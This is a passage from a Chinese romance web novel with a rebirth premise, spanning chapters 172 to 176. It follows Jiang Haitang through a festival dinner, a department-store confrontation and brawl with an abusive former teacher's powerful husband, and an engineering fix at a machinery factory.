“这段时间你辛苦了,应该我感谢你,你这瓶酒我们先存着,今天先喝我的。我这次去京城,老爷子给了两瓶好酒。” 陆良辰说着,转身从柜子里拿出两瓶茅台,瓶身的光泽在灯光下闪烁,显得格外珍贵。 “跟着团长就是有口福。”赵凯眼睛一亮,迫不及待地搓搓手。 他本就是个爱酒之人,这段时间一直忙,都没机会喝上一杯,这会儿看到好酒,馋得不行。 一开始,黎景程和段长河还有些拘谨,坐在椅子上都显得有些僵硬,说话也小心翼翼的。 但几杯酒下肚后,他们的话渐渐多了起来,脸上也泛起了红晕,胆气也足了不少,开始和大家开怀畅谈。 姜海棠看着几个男人喝酒喝得开心,微笑着摇摇头,端起一碗香甜的汤圆。 她轻轻咬开一个汤圆,甜蜜的芝麻馅混合着花生、核桃的香气瞬间涌进口中,那温热的感觉从舌尖一直蔓延到心底,烫得她眼眶微微发热。 “海棠,要不,你也来两杯?”陆良辰看着姜海棠吃汤圆,端着酒杯,笑着征询道。 姜海棠连忙摇头:“我就不喝了,喝了就醉。” “反正在家里,醉了就醉了,也不打紧。” 陆良辰说着,不由分说地给姜海棠倒了一杯酒,又给康小夏也倒了一杯,转头对赵凯说:“赵凯,要是小康同志喝醉了,你负责送回去。” “那是自然。”赵凯豪爽地应道。 姜海棠端着酒杯,看着杯中清亮的液体,学着陆良辰的样子,和大家碰了碰杯,然后一仰头,将酒直接倒进嘴里。 刹那间,一股浓烈的辣味从舌尖炸开,仿佛一团熊熊燃烧的烈火顺着喉咙直灌胃里。 姜海棠猛地瞪大了眼睛,像只受惊的小猫,下意识地捂住嘴,剧烈地咳嗽起来。 那酒液的滋味,活像吞了一口烧红的铁水,又像是有人在她气管里撒了一把辣椒面,呛得她眼泪都流了出来。 “咳……咳……这,这是酒?太难喝了!”她一边咳嗽,一边用手背胡乱抹着嘴角溢出的酒液。 脸颊瞬间变得滚烫,比在乡下烈日下劳作一下午还要红。 其他人还没来得及喝酒,就看到姜海棠这豪爽的一口闷,赵凯不知道姜海棠是第一次喝酒,还以为姜海棠酒量极好,忍不住伸出大拇指:“嫂子厉害啊!” 康小夏看出来姜海棠是真的不会喝酒了,连忙给她拍背,又递过来一杯温水,心疼地说:“你怎么喝这么猛?” “他们都这么喝的……”姜海棠委屈地说。 两辈子了,她还真没喝过酒,完全没想到酒的味道如此“霸道”。 她还想说话,却被喉间残留的灼热感逼出一连串咳嗽。 接过康小夏递来的杯子,她猛灌了几口水,这才稍稍冲淡了那火烧火燎的痛感。 但酒的醇香却在唇齿间萦绕不散,那味道复杂而独特,像是晒透的麦浪混合着深秋的霜,又带着一丝窖藏的泥土气息,让人回味无穷。 “都没来得及给你说慢点喝。”陆良辰忍俊不禁,轻轻拍着她的后背,手指不经意间碰到她散落的发丝,眼神中满是心疼和宠溺。 “那你不早点说。”喝了酒的姜海棠,更加娇气了一点点,难得对陆良辰撒娇。 “海棠,酒看着和水差不多,但差别大了,可不能当成水喝!” 他暗自决定,以后可不能再让媳妇喝酒了。 第一次喝酒,一杯下肚,姜海棠已经感觉到一股热流从胃里缓缓升起,整个人开始晕晕乎乎的。 她的眼神变得有些迷离,脸上的红晕也越发鲜艳,像一朵盛开的桃花。 这时候的姜海棠,哪里能听陆良辰这样说。 她不服气地瞪了他一眼,伸手又要去拿酒杯,却被三双手同时拦住。 赵凯更是直接把酒瓶藏到身后,笑着说:“嫂子,头回喝酒得循序渐进……” 赵凯顺手还将康小夏面前那没有来得及喝的酒收走。 康小夏正在照顾姜海棠,也没发现自己面前的酒杯消失。 好在,姜海棠只喝了一杯酒,虽然不胜酒力,但还能控制自己,只是人比平日里稍微娇气一些。 陆良辰看着这样娇气可爱的媳妇,又觉得,喝点酒也挺好! 元宵节刚过,冬日的寒意还未完全褪去。 周末早上,姜海棠牵着蹦蹦跳跳的小桃子走出机械厂宿舍区。 康小夏已经在路口等候,见到她们便挥了挥手。 走到跟前,康小夏一把将小桃子捞起来抱在怀里。 “小夏阿姨,我长大了,不用抱了哦!”小桃子一本正经地说道。 “这么大点儿的小家伙,怎么就长大了?” “可是,过完年,我长大了一岁,还长高了这么多!”小桃子不服气地用小手手比划着。 “好,我们小桃子长大了,等会儿走累了,可不许哭鼻子哦。” “小孩子才哭鼻子,我是大人了!” 康小夏和小桃子有来有往地说话,气氛融洽得不得了。 “今天去百货大楼,给我们小桃子买漂亮的小发夹好不好啊?” “我有发卡了,是哥哥送的……” 小桃子说到这里的时候,想起远在京城的几个哥哥了,她仰头看向姜海棠。 “妈妈,我给太爷爷、爷爷、奶奶和哥哥们写信了,什么时候寄给他们呀?他们一定也想小桃子了。” “等明天邮递员来的时候,就给小桃子寄出去好不好呀?”姜海棠耐心地说。 小桃子小大人似的点点头。 “陆家对小桃子很喜欢啊?” “可不,就只有这么一个小姑娘,几个哥哥疼爱得和什么似的,她爷爷奶奶更是把小姑娘当成眼珠子一样,还差点把她留在京城。” 姜海棠想起陆家人对小桃子,笑容都灿烂了许多。 康小夏说:“难怪陆厂长二话不说就收养了……原来,陆家人都支持。其实,把小桃子留在京城也挺好的,比在咱们西北强。” “小桃子现在看着挺活泼开朗,可这孩子,其实挺缺爱的,趁着年纪小,留在我和良辰身边,过上几年,应该就不会患得患失了。” 她也知道,将小桃子留在老宅,让她和哥哥们多接触,对小桃子将来只有好处,可幼年失去父母的孩子,心里的创伤并不是一朝一夕能愈合的。 她希望能早早弥补这个孩子心里缺失的父爱和母爱,至于和家里其他人相处,以后总有机会。 康小夏点头:“你说的也对。” 小桃子一手拉着妈妈,一手拉着康小夏,蹦蹦跳跳地走在中间,像一只欢快的花喜鹊一样。 百货大楼是城里最气派的建筑,五层高的苏式建筑顶上立着巨大的红色五角星。 门口人来人往,有拎着网兜的家庭主妇,有穿着工装的工人,也有文质彬彬的知识分子,刚过完年,就已经非常热闹。 小桃子立即拉扯着两人冲进百货大楼。 混合着布料、糖果和肥皂的气味扑面而来。 一楼食品区柜台前总是最热闹的地方,人们排着队,购买着白糖、点心和罐头和其他的副食品。 小桃子被五颜六色的糖果吸引,但懂事的她没有开口要。 姜海棠说:“小桃子,家里还有芝麻糖和其他糕点,等吃完了,我们再买糖果哦!” 看出小丫头眼馋,但姜海棠并没有无底线的纵容,而是对她摆事实讲道理。 小桃子很乖巧地点头:“妈妈,大伯母给的芝麻糖很香!” “哎呦,这么乖的孩子,谁家的啊,让小夏阿姨看看!” 康小夏夸张地逗着小桃子,小桃子咯咯笑着。 “先去买毛线吧。”姜海棠今天来的主要目的就是买毛线,给姜国栋织毛衣。 毛线区比起其他地方,要小上很多,可选择的也少,好在,姜海棠也没打算买多扎眼球的颜色,只选了深灰色。 “同志,这种毛线含毛量是多少?”姜海棠指着看中的颜色问售货员。 “这个颜色的毛线有两种,一种是含毛量百分之五十的,还有一种是含毛量百分之七十五的。”售货员看着姜海棠的穿着打扮,知道眼前这是个不缺钱的主儿,因此,态度还算不错。 “劳烦同志取一下含毛百分之七十五的。”姜海棠客客气气地说。 正当售货员准备拿毛线的时候,一个略带尖锐的女声从身后传来。 “姜海棠?真的是你!” 第173章 我要是不去呢? 姜海棠转身,看到一位穿着米色呢子大衣的女子,手里拎着精致的皮质手提包,端得大方得体,只是她一双漂亮的眼睛里都是恶毒。 “林美华?”姜海棠认出了这个女人正是小桃子的第一个老师林美华。 当初她因为虐待孩子被开除,开除后,林美华就离开了纺织厂,姜海棠也不曾再听说过她去了哪里。 没想到,却在这时候见到了她。 小桃子看到林美华的时候,表情明显的不好了,她瑟缩了一下,站在姜海棠身后,躲开林美华的目光。 林美华上下打量着姜海棠,眼中的妒恨更加难以掩饰。 “果然攀了高枝就是不一样,当初那么穷那么土的人,现在竟也人模狗样的了。不过,你这样的人,再怎么打扮,也上不了台面。” “姜海棠,你使手段让陆良辰开除我,没想到吧,你这么做,反而成全了我,我现在在外贸局工作。”林美华不无得意地说,“我这个岗位,要经常接待外宾。这不,大衣就是一位法国客人送的,可比你们厂里生产的大衣洋气多了。” 姜海棠没有回答,她不想和林美华这样的人说话,她怕自己的手有自己的想法,直接一巴掌扇过去。 当初,林美华虐待小桃子这件事是陆良辰处理的,陆良辰是厂里的副校长,又是个男人,因此,只是开除林美华。 姜海棠一直都后悔,自己当初为什么不跟过去扇几个巴掌。 看到姜海棠要走,林美华立即又开口:“怎么,这就心虚了,你勾引陆厂长的时候,不是本事好得很吗?现在怎么怂了?” 姜海棠蹙眉,林美华说话是真的难听。 “林美华,你嘴巴放干净一点,不要随意污蔑别人。” “污蔑?我污蔑你?如果不是你勾引陆厂长,他怎么会不要我?他怎么会开除我?” “林美华,你虐待小桃子这事,你是一句话都不提啊,当初你身为老师,做出那样禽兽不如的事,到现在竟然还不知反省!” “你怎么说话呢,姜海棠,你欠打。” 林美华嘴脸都变了,冲过来就要打姜海棠。 姜海棠嘴角立即绽开笑,机会来了! 就在林美华冲过来的时候,姜海棠伸手将林美华抓住,利利索索一个耳光重重地甩过去。 “你敢打我?姜海棠,我饶不了你,你知道我男人是谁吗?”林美华捂着脸质问。 姜海棠被她这么一问,愣住了,她男人是谁? “你男人是谁,我管不着。你以前虐待我女儿,现在污蔑我,我打我有什么不对吗?就是你男人在,我相信他也不会姑息你!” 姜海棠说话的时候声音很大,百货大楼现在人多,她打了人,要是不把事情说清楚,会被反咬一口。 她虽然捧高林美华的丈夫,可心里却明白,林美华能有现在的好工作,想来是婆家的功劳,林美华的丈夫,未必就是个好的。 “姜海棠,你这个不要脸的贱人,这个拖油瓶怎么就是你女儿了?你都没有和陆良辰结婚,就给他女儿当妈妈。你是没见过男人,还是没见过拖油瓶?” “林美华,你自己不当人,不要把别人想得都跟你一样恶心,小桃子是烈士的女儿,她值得我们每一个人好好对待!而你,不光不想着照顾这个孩子,还虐待她,既然你学不会尊重烈士,我教教你!” 姜海棠说着,又是两个巴掌甩过去,清脆的巴掌声响起,林美华彻底疯了。 康小夏没想到,姜海棠还有如此嚣张的时候,平日看着温温柔柔,这时候,甩人耳光力度十足啊。 她立即拉着小桃子,朝后退了好几步,免得被误伤。 林美华连续挨了三个巴掌之后,彻底破防了。 她看着周围那些围观的人,心里的恨意更加浓。 姜海棠竟然让自己在众目睽睽之下这么丢人! “姜海棠,你竟然一次次地打我,我饶不了你!”她威胁姜海棠:“识相的,立即给我道歉!” 姜海棠没打算吃她这一套,直接开口:“你要么远离我,要么继续挨打!” 周围的人,有支持姜海棠的,也有觉得姜海棠打人不对的,但大家都是小声讨论,甚至,连一个上前劝架的都没有。 林美华捂着脸,朝着周围看了一圈,忽然委委屈屈地喊道:“其亮,这个女人欺负我。你不在,我要被人打死了!” 围观的人群里一阵骚动,只见一个穿着干部装、梳着油头的三十多岁的男人挤了进来。 他身材微胖,一双三角眼透着阴鸷,一看就是那种心术不正的人。 这个男人不是别人,正是林美华的丈夫何其亮,硌委会主任何大山的儿子。 “谁他妈敢动我老婆?”何其亮一把搂住林美华,目光阴冷地看着人群。 姜海棠心中一紧,但面上不显。 康小夏也看出来了,这个人不好惹,但这时候,她只是将小桃子护得更紧了些。 “其亮,就是这个贱人!”林美华指着姜海棠,哭诉道,“她不仅污蔑我,还动手打我!你看我的脸!还有,我以前就是被她欺负得丢了工作。” 何其亮盯着姜海棠,眼中闪过一丝淫邪的光。 他早就听林美华说,当初丢工作是厂里有人嫉妒她漂亮,却没想到,嫉妒林美华的居然是如此漂亮的一个姑娘。 他斜眼看了一眼林美华,和眼前这个姑娘比起来,林美华长相就不怎么样了。 他嫌弃地转头,再度看向姜海棠。 何其亮阴阳怪气地说道,“你胆子不小啊,敢打我何其亮的老婆?” 姜海棠冷冷道:“是你老婆先污蔑我,还欺凌虐待烈士的女儿。我打她,是让她记得,我们有今天的幸福生活,是无数烈士用生命换来的,烈士的家属值得我们每一个人爱护!” “姑娘,你说的是,没有他们抛头颅洒热血,就没有我们今天的好日子。” “是啊,烈士的家人,那就是我们的家人,怎么可以被欺凌被虐待?” “你这个女人,连这么小的孩子都能下手,不是人啊!” 周围的群众开始窃窃私语,有人指指点点,尤其是众人看到,姜海棠说的烈士的女儿只有三四岁的样子,心瞬间更偏了。 但碍于林美华之前自爆的身份,围观的人都知道,刚才出现的这个男人有些身份地位,因此没人敢站出来说话。 “其亮,你别听他胡说。” “胡说?林美华,你敢说,你针对我,不是因为你看上了我未婚夫?你敢说,你被开除不是因为你虐待孩子?” 后面一句,何其亮并没有放在心上,左右不是虐待他的孩子就行。 可是,姜海棠前面一句话,他听了立即怒火三丈。他老婆,眼里只能有他一个人,看上别人就是不对。 “林美华,你看上了哪个野男人?”他目光阴鸷地看向林美华。 林美华被何其亮阴鸷的目光吓了一跳。 她是知道的,今天姜海棠这些话,要是何其亮听进去了,回家之后,她有的苦吃了。 “其亮,我心里眼里只有你,怎么可能喜欢别的男人?是这个女人无理取闹,我只是因为小桃子的事和陆良辰多接触了两次,她就污蔑我勾引陆良辰!你知道的,我只喜欢你一个人。” 姜海棠看着林美华说这样的话,只觉得有股恶心感升起。 林美华还真是能屈能伸,连这样恶心的话都能对着这样一张脸说出来。 看着阴鸷的男人,面对林美华,倒是个耳根子软的,因着林美华这一番话,脸上的阴鸷退了许多。 他再度看向姜海棠:“你信不信,我现在就可以让人把你抓起来!” 康小夏听到何其亮这话,立即上前护着姜海棠。 何其亮看了一眼康小夏,觉得眼前这个容貌也不错。 “怎么,你想代替她?” 康小夏忍不住瑟缩了一下,但还是勇敢地站在姜海棠面前。 小桃子一张小脸十分严肃,她也挺直脊梁站在前面。 只是,小丫头到底太小了,根本没人看到她拼命护着姜海棠的样子。 姜海棠知道今天这事不能善了,她深吸一口气,将康小夏拉到身后。 “你想怎么样?”姜海棠眼睛一瞬不瞬地盯着何其亮。 何其亮阴笑道:“简单,你跟我去硌委会走一趟,把事情说清楚。要是态度好,我可以考虑从轻处理。” 男人说出态度两个字的时候,隐含的意思十分明显,他脸上那猥琐的表情已经不加掩饰了。 显然,去了硌委会,就是到了他的地盘上,只能任他予取予求。 林美华在一旁原本还算漂亮的脸都扭曲了,她知道丈夫打的什么主意。 姜海棠这个贱人,不勾引男人能死吗? 先是陆良辰,现在连何其亮这样的也不放过。 姜海棠岂会不明白何其亮的龌龊心思?她冷笑。 “我要是不去呢?”姜海棠语气坚定地说。 去了硌委会,只怕连囫囵回来的机会都没有。 “你不去,那就让她代替你去!”何其亮指着康小夏说:“还有这个小丫头片子!” 姜海棠的脸都白了,这个禽兽! 第174章 打架 “我不知道你究竟是什么身份,不过我劝你三思。这个孩子,是烈士的遗孤!你要敢动她一根手指头,拼着这条命不要,我也不能善罢甘休!” 原本围观的人,这时候已经生出退意。 他们虽然喜欢看热闹,但不能为了看热闹陷于危险中去,这个男人不是个好人,这两个漂亮姑娘今天怕是要吃亏了。 他们如果继续围观,不知道会不会惹上麻烦,还是早点离开才好。 “哟呵,还敢威胁我?”何其亮脸色一沉挥手说道:“来人,给我把她带走!” 他身后两个跟班立即上前,就要对着姜海棠动手。 姜海棠知道情况紧急,低声说:“小夏,你保护好小桃子,趁别人不注意立即走。” “海棠!”康小夏急急呼唤。 “这两个人,我还能对付。只要回到厂里,我们就安全了。” 姜海棠知道,对方不是自己能硬抗的,只有想办法回到厂里寻求保护。 康小夏点点头,她知道,自己带走小桃子,才是最好的,而且,还可以尽快回厂里搬救兵。 何其亮看到康小夏带着小桃子后退了,但是,他并没有阻拦,他今天的目标,只有眼前这个漂亮妞儿! 以前听林美华说,还以为这是个丑女,没想到竟如此漂亮,要是不能睡上一晚,他心有不甘。 姜海棠一动不动地站着与何其亮对峙。 何其亮面对美人的时候,还是有耐心的。 姜海棠眼角余光看着康小夏带着小桃子离开,才算松了一口气。 “我已经放了她们离开,识相点,跟着我们走,省得受苦。”何其亮一副势在必得的样子,言语轻佻。 “其亮……”林美华想阻拦。 “不是你说她欺负了你?现在我要给你报仇,你还不乐意了?林美华,不要太把自己当回事,要不老子随时换了你!” 何其亮对林美华说话的时候,连一点尊重都没有。 林美华脸色苍白,却也只能闭嘴不说话。 不敢怨恨何其亮的林美华,将目光看向姜海棠,眼里都是怨恨,都怪这个贱人,她就是故意的,就是故意的。 贱人,等找到机会,一定要好好收拾她。 何其亮这时也没有耐心了,直接挥手,让两个跟班带着姜海棠走。 姜海棠眼角余光瞥见康小夏抱着小桃子已经消失在门口,紧绷的后背略微松弛了些。 她活动了下纤细的手腕,指节发出轻微的脆响。 “想带我走?”她嘴角勾起一抹冷笑,“得看你们有没有这个本事!” 何其亮还没反应过来,姜海棠已经闪电般出手。 她右手成爪,精准扣住左侧壮汉的手腕命门,借力腾空跃起,修长的左腿划出一道凌厉弧线,鞋尖重重砸在右侧跟班的脑袋上。 “啊!“那人惨叫一声,踉跄着向后连续退了好几步才跌倒在地。 围观人群发出惊呼,原本要散去的人们又忍不住驻足,只是,一个个都走远了几步。 甚至有一些胆子小的女人们,害怕地捂上眼睛,却仍忍不住从指缝间偷看这场罕见的打斗。 被扣住手腕的壮汉脸色涨红,另一只拳头带着风声朝姜海棠面门袭来。 姜海棠灵巧地偏头躲过,顺势将对方手臂往返关节方向一拧。 “咔嚓!” 清脆的骨节错位声让林美华捂住嘴倒退两步,脸上出现一丝惊恐。 她以前怎么不知道,姜海棠的身手如此好? 何其亮身边跟着的这两个人,是有些能耐在身上的,一个人对付两个大男人不成问题。 可现在,两个人都没顶得住姜海棠一个回合。 何其亮脸上的淫笑终于僵住,他没想到这个看似柔弱的姑娘竟有如此身手。 “废物!两个人打不过一个臭娘们,养活你们干啥吃的?” 何其亮踹了一脚刚从地上爬起的跟班。两人对视一眼,同时朝着姜海棠攻击过去,甚至,其中有一个摸出一把小刀握在手里。 刀刃上折射出刺目的光,人群顿时骚动起来。 “要出人命了!” “快报警啊!” 听到有人说要报警,何其亮立即威胁,“谁敢报警,老子先解决了谁。” 虽然他不怕报警,但报警之后,会多不少麻烦,烦人得很。 姜海棠瞳孔微缩,知道今天只能死扛,她迅速朝着拿着刀的那个人攻击过去。 她一脚稳准狠地踹在男人的手腕上,那男人吃痛,哀嚎一声匕首应声落地。 另一个跟班趁机朝着姜海棠攻击过来,姜海棠一个侧翻躲过他的攻击,同时一脚朝着对方膝盖踹过去。 “砰!” 壮汉跪倒在地,姜海棠闪电般上前,手刀精准劈在他后颈,那人顿时如烂泥般瘫软。 何其亮脸色铁青,没想到,一个臭娘们,居然是个棘手的。 “臭娘们,给脸不要脸!给老子多喊几个人过来!” 何其亮阴沉着脸,比他的脸更加阴沉的是他的声音。 时间仿佛凝固,姜海棠的呼吸变得轻缓,汗水顺着她的鬓角滑落,晶莹闪烁。 “法治社会,你居然如此大耍威风!不知道何主任知不知道儿子这么有出息!” “你还是先想想你的下场吧,你叫姜海棠是吧?如果你不愿意跟着我走,我就让人把刚才那一大一小抓走!” 姜海棠脸色更加白了,她知道,何其亮真能做出这种事。 要是康小夏和小桃子落在这个畜生的手里,不敢想会发生什么。 “好,我跟你走!”姜海棠咬牙切齿地说。 “早这么听话,不就少了许多麻烦了?”何其亮淫荡地笑着冲姜海棠过来,伸手就打算摸姜海棠的脸。 就在这时,一个低沉的声音传来:“住手!” 听到熟悉的声音,姜海棠立即看过去,只见陆良辰飞奔而来,身后跟着几个厂里的保卫科人员。 “良辰!”姜海棠心中瞬间放松。 何其亮见到陆良辰,脸色微变,但很快又恢复了嚣张。 “陆良辰,你来得正好!这个女人仗势欺人,打了我老婆,这事你怎么说?” 陆良辰冷冷地看了他一眼:“何其亮,嘴巴放干净点。姜海棠是我未婚妻,更是我们厂里重要的优秀的工作人员,你老婆虐待烈士子女,我只是开除她已经足够留她面子了,不想她不思悔改,还敢挑拨是非让你对付我未婚妻。” 何其亮被噎了一下,脸色有点不好看了,他瞪了林美华一眼,这个贱人,不是说,姜海棠只是陆良辰的姘头吗?怎么变成未婚妻了? 其实,林美华心里也像被重锤敲击。 姜海棠是个离过婚的女人,陆良辰怎么可能和姜海棠结婚? 未婚妻,凭什么? 陆良辰是眼睛瞎了吗? 何其亮眼珠子转得飞快,很快又强硬起来:“陆良辰,你别以为你是厂长就了不起!我爹是硌委会主任,信不信我让你这个厂长当不下去?” 陆良辰不为所动:“何其亮,现在是新社会,讲究法律和证据。你要是再胡搅蛮缠,我不介意往上报告,除了报告你今天的事,顺便也说说,你是打算如何欺负烈士遗孤的,我相信,上面的人肯定会重视!” 何其亮脸色一变,他爹虽然有权,但也不能一手遮天。 而陆良辰来自京城,据说,是上面某位大佬的孙子,要是真的上报上去,说不定真的会被重视。 思及此,何其亮咬了咬牙,恶狠狠地说道:“好,陆良辰,姜海棠,你们给我等着!这事没完!” 说完,他灰溜溜地走了,林美华和两个被打倒在地的跟班跟着跑了出去。 人群爆发出一阵掌声,大家都为姜海棠和陆良辰叫好。 姜海棠松了一口气,感激地看向陆良辰:“你总是在最关键的时候出现保护我。” 陆良辰微微一笑:“不用谢,和我这么客气?小桃子呢?没事吧?” “我让小夏带着她离开了!” “我们在这里。”康小夏却忽然抱着小桃子出现了。 小桃子从康小夏的怀里滑下来,扑到陆良辰的身上,抱住陆良辰的大腿:“爸爸,刚才有坏人欺负妈妈!” 陆良辰摸了摸她的头:“没事的,爸爸把坏人赶走了。” 姜海棠问道:“你怎么来了?” “正好路过。” 姜海棠看明白了,陆良辰这是不想多说,显然,不是正好路过这么简单。 “走吧,我陪着你们买东西,买完回家。” 姜海棠温柔地笑着点头:“嗯,回家。” “海棠,接下来这段时间,你尽量不要出门,何其亮不是个善茬。” 姜海棠点点头。 “你和他认识?” “见过面,认识不熟悉。” 已经走到外面的何其亮和林美华两个人,却在这时候起了冲突。 何其亮今天一肚子气没处发,直接冲着林美华发作了。 “贱人,你今天害我受了这么大的委屈。”何其亮一个巴掌扇到林美华的脸上。 林美华捂住脸不敢吭声,但心里却很是不服,明明是这个没出息的东西连一个女人都对付不了,还怪自己。 这么丢人,不是因为他想睡姜海棠才导致的? 可她不敢说啊,要是她真的这么说了,何其亮说不定能要了她的命! “其亮,是我的错,你别生气了,我们还是想想,怎么才能报仇!” 一句话,何其亮瞬间像是找到了方向一样…… 第175章 数据核算 他要报仇,今天陆良辰当众让自己下不来台的难堪,必须讨回来。 何其亮的左手手指无意识地摩挲着右手大拇指,眼中阴鸷翻涌。 就算陆良辰背后有人撑腰又如何? 这里是金城,不是他陆良辰能呼风唤雨的京城。 就算陆良辰是条过江龙,在这西北小城里也得乖乖盘着。 “算你说的有道理,不过,你是不是还心心念念陆良辰?”何其亮猛地转身,阴恻恻的目光如毒蛇般缠住林美华。 刚过完年,天气还很冷,林美华被这眼神盯得浑身发冷,后背瞬间渗出冷汗。 她太了解何其亮的性子,稍有不慎便是拳脚相加。 都是姜海棠这个贱人,当着何其亮的面说她喜欢陆良辰,让何其亮怀疑上了。 “怎么会!我心里只有你!”林美华慌乱地扑过去,抓住对方袖口,声音发颤,“从我嫁给你的那天开始,你就是我心里的神……” 她越说越激动,眼泪说来就来,在眼眶里打转,“这些时间,我一直在后悔,如果我能早点认识你,哪还会受这些罪?” 看着对方信誓旦旦的模样,何其亮脸色稍霁,却还是猛地甩开她的手,“最好是这样!” 林美华踉跄几步,差点摔倒,却不敢有丝毫怨言,继续说着讨好的话。 待何其亮终于露出满意神色,她才暗暗松了口气,心中却将姜海棠的名字咬得生疼。 若不是这个贱人,她怎会沦落到这步田地? 说不定,她已经嫁给陆良辰了,她把她逼得离开纺织厂还不够,还要胡说八道。 如果嫁给了陆良辰,她何必每天对着这个脾气暴躁的油腻男人强颜欢笑? 如何会每天陪着这个猪一样的油腻男人,还要被动辄打骂,甚至,为了讨好这个男人,违心地说出许多讨好他的话,自己都要被恶心死了。 另一边,陆良辰和姜海棠全然不知何其亮和林美华两个人心中所想。 采购结束后,他们顶着寒风匆匆返回厂里。 今天是周末,本该休息的姜海棠刚到家,就被一阵急促的敲门声打断。 原来是机械厂在加工织袜机时遇到难题,胡厂长安排人来接她过去帮忙解决问题。 姜海棠急匆匆地出门,连围巾都忘了。 “海棠,把围巾带上,大衣也穿上。” 陆良辰连忙从衣柜里取出厚重的军大衣,又顺手抓过围巾追出来。 他动作轻柔地帮姜海棠披上棉衣,又仔细将围巾绕好,指尖不经意间擦过她冻得发红的耳垂。 “外面冷,别冻着。”陆良辰的声音低沉而且磁性。 姜海棠心头一暖,点点头,转身匆匆上了吉普车赶往机械厂。 机械厂内,寒风呼啸。 姜海棠裹紧棉袄从吉普车上跳下,冷风如刀子般刮过脸颊,她下意识缩了缩脖子。 向文涛工程师早已等在门口,不停搓着手哈气,白气在冷空气中凝成白雾:“姜海棠同志,大周末得打扰您,真是不好意思!” 他是机械厂的老工程师了,这些年,在机械厂也算独当一面的存在。 可他现在对着姜海棠这样一个小姑娘,却能态度恭敬谦卑,丝毫不见一丝不满,可见,人品不错。 向文涛心里,其实也是百味杂陈,初见姜海棠的时候,他觉得姜海棠一个丫头片子。 没想到短短时间,姜海棠已经成为他拍马都不能及的存在,果然,有志不在年高。 “向工您客气了,我也是机械厂的一员,为厂子做事应该的。”姜海棠一样客客气气地回答。 向工只是微笑,没有开口。 “云同志呢?他怎么说?”姜海棠顾不上寒暄,接着问道。 她口中所说的云同志,就是顾昀笛的化名。 为了避免引起太多麻烦,顾昀笛的真实身份在机械厂只有毛厂长和朱厂长两个人知道。 其他人,包括和顾昀笛接触很多的向文涛,对于这位突然出现的云同志是什么身份完全不知道,只知道这个人十分神秘,是厂里花了大代价请来的人。 “云同志正带着其他同志检查。”向文涛因为着急,说话的速度都快了许多他眼中满是焦急。 “能判断是什么问题吗?” “织袜机的齿轮组总是对不上,已经耽误了两天时间了,毛厂长下了死命令,无论如何,两天之内都要解决问题。” 姜海棠跟着向文涛快步走向车间,原本热闹的车间此刻却异常安静。几个人围在半成品的织袜机前,眉头紧锁。 顾昀笛的一双手,正在一点一点地从机器齿轮上摸过。 “云老师。”姜海棠上前打招呼。 顾昀笛抬头,眼中闪过一丝欣喜:“海棠同志,又要麻烦你了。” “您太客气了。查出是什么问题了吗?” 顾昀笛无奈摇头:“还没有。试了好几种办法,齿轮组就是咬合不上。” 姜海棠蹲下身子,手指熟练地在齿轮组间游走。 纤细的手指精准地找到螺丝,轻轻一转,零件便被卸下。 额前碎发随着动作晃动,她全神贯注的模样,让周围人不自觉屏住呼吸。 云老师的本事大家都清楚,能被他请来帮忙的人,必定不简单。 更何况,听说这台机器的图纸还是姜海棠提供的,或许她真能解决难题。 时间一分一秒过去,气氛愈发压抑。 不知过了多久,姜海棠终于站起身:“云老师,我觉得是传动比设计有问题。图纸上标注的计算方式,可能不适合我们的材料强度。” 她看着齿轮组,这张图纸原本应该出现在几年之后的八零年代初期,她忽略了当下材料与以后材料的差异。 向文涛皱眉:“可我们选的材料,参数和图纸上的很接近。” “参数接近不代表能用同样的计算方式。”姜海棠解释道,“得重新计算参数。能带我去绘图室吗?” “我带你去。”顾昀笛立即引路,“海棠同志,你跟着我来。” 机械厂是大厂,比起纺织厂的办公条件要更好一些。 绘图室在二楼,宽敞明亮。 姜海棠在绘图板前坐下,拿起计算尺和白纸,笔尖在纸上快速滑动。 顾昀笛和向文涛站在她身后,大气都不敢出。 屋内只有笔尖划过纸张的沙沙声,以及偶尔传来的计算尺滑动声。 “麻烦再给我拿些绘图纸来。”不知过了多久,姜海棠开口。 向文涛忙小跑到一旁的柜子旁边拿过一摞绘图纸,客客气气地放在姜海棠的前面。 “海棠同志,有需要帮忙的地方吗?” “麻烦云老师和向工验算一下我刚才的数据。” 三人分工合作,时而低声讨论,时而皱眉思索,间或是为了一个数据争执。 窗外的天色渐渐暗下来,绘图室的灯光将三人的影子拉得很长。 “哎呀,都已经到这时候了。” 姜海棠伸了个懒腰,看向窗外。 此时,外面已是一片昏暗,路灯昏黄的光晕中,不知道什么时候开始,雪花又在纷纷扬扬。 “好在,一个下午的时间没有白费。”顾昀笛笑着点头,“我们三人验算的最终数据相同,证明方案可行。” 姜海棠看看手表,快八点了,连忙告辞:“接下来的事就辛苦你们了,我得回去了。” 家里小桃子和陆良辰应该还在等着自己回去吃饭呢。 “先吃饭,我让食堂准备了晚饭。”毛厂长和朱厂长从门外走进来。 却原来是毛厂长和朱厂长一直在绘图室外等着他们。 姜海棠忙推辞:“不用了,我得回家。” “我已经给陆厂长打过电话了。”毛厂长笑着说,心中却暗自可惜。要是能把姜海棠挖到机械厂,该省多少事? 姜海棠听毛厂长说已经给陆良辰打过电话,笑着道谢,顺从地留下吃饭。 “忙了一下午,饿了吧?我们先去吃饭,吃完饭,我让司机送你回去。外面开始下雪了,让你自己回去我们也不能放心。” 何况,刚才和陆良辰通话的时候,陆良辰说,他们今天得罪了何其亮,说不定会被打击报复。 因此,毛厂长已经安排好了,不能只让司机去送,还得跟上两个保卫科的人才行。 机械厂食堂内,热气腾腾的饭菜摆满一桌。 红烧肉的香气、炒青菜的清香,混合着米饭的热气,勾得姜海棠肚子咕咕直叫。 忙了一下午,她早就饥肠辘辘,此时闻到饭菜的香味,口水都要留下来了。 “快吃,快吃!”毛厂长热情地招呼着,“你虽然不长期在我们厂里,可也是我们机械厂的职工,偶尔还是应该来尝尝我们厂里饭菜的味道。” 朱厂长也笑着说:“海棠啊,我们厂的食堂,可是出了名的好,你就真的不考虑一下来我们厂里住一段时间?你放心,只要你愿意来,也给你安排独门独院。” 虽然明知说这些话没有太大的意义,但两位厂长为了厂子考虑,还是持续地做动员工作。 谁让姜海棠今天的表现比他们想象的还要亮眼呢? 姜海棠笑着道谢,却没有给予他们答复,只是夹起一筷子菜送入口中,温暖从舌尖蔓延到心底。 第176章 举报 接下来的日子,一直都很平静,姜海棠每天都忙碌且充实,偶尔有闲暇,也会读书充实自己。 这天,她正在实验室里进行袜子固色实验,忽然听到外面有人喊她。 是康小夏。 “小夏,你怎么来了?” 